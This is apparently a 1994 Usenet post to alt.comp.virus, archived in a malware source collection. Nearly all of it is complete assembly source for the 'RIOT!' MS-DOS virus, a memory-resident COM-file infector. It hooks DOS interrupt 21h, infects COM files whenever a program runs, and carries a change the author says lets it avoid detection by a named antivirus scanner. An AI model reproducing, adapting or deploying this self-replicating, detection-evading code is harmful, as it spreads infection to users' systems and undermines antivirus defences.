MalwareSourceCode/MSDOS/R-Index/Virus.MSDOS.Unknown.riot.asm

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From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994
Xref: netcom.com alt.comp.virus:200
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Re:Riot
Date: 12 Nov 1994 03:37:30 GMT
Organization: Netcom
Lines: 171
Distribution: world
Message-ID: <3a1d9q$ma6@ixnews1.ix.netcom.com>
References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com>
NNTP-Posting-Host: ix-ir4-21.ix.netcom.com
; RIOT! - Revolution In Our Time
model tiny
code
org 100h
start:
; push ax ; Original push "ax",
PUSH DX ; But push dx instead,
; and S&S FindViru can't
; find it as NINA-256 :)
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory
allocation
int 21h
mov ah,48h ; Allocate 3Fh
paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so
the
; memory isn't freed
when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to
int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus
vector
int 21h
pop ds ; ds->original program
PSP
pop bx
push ds
pop es
ENDFILE dw 100h ; Size of infected COM
file
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM
starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit
the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db ' RIOT!' ; Revolution In Our Time!
endvirus:
int 20h ; original COM file
end start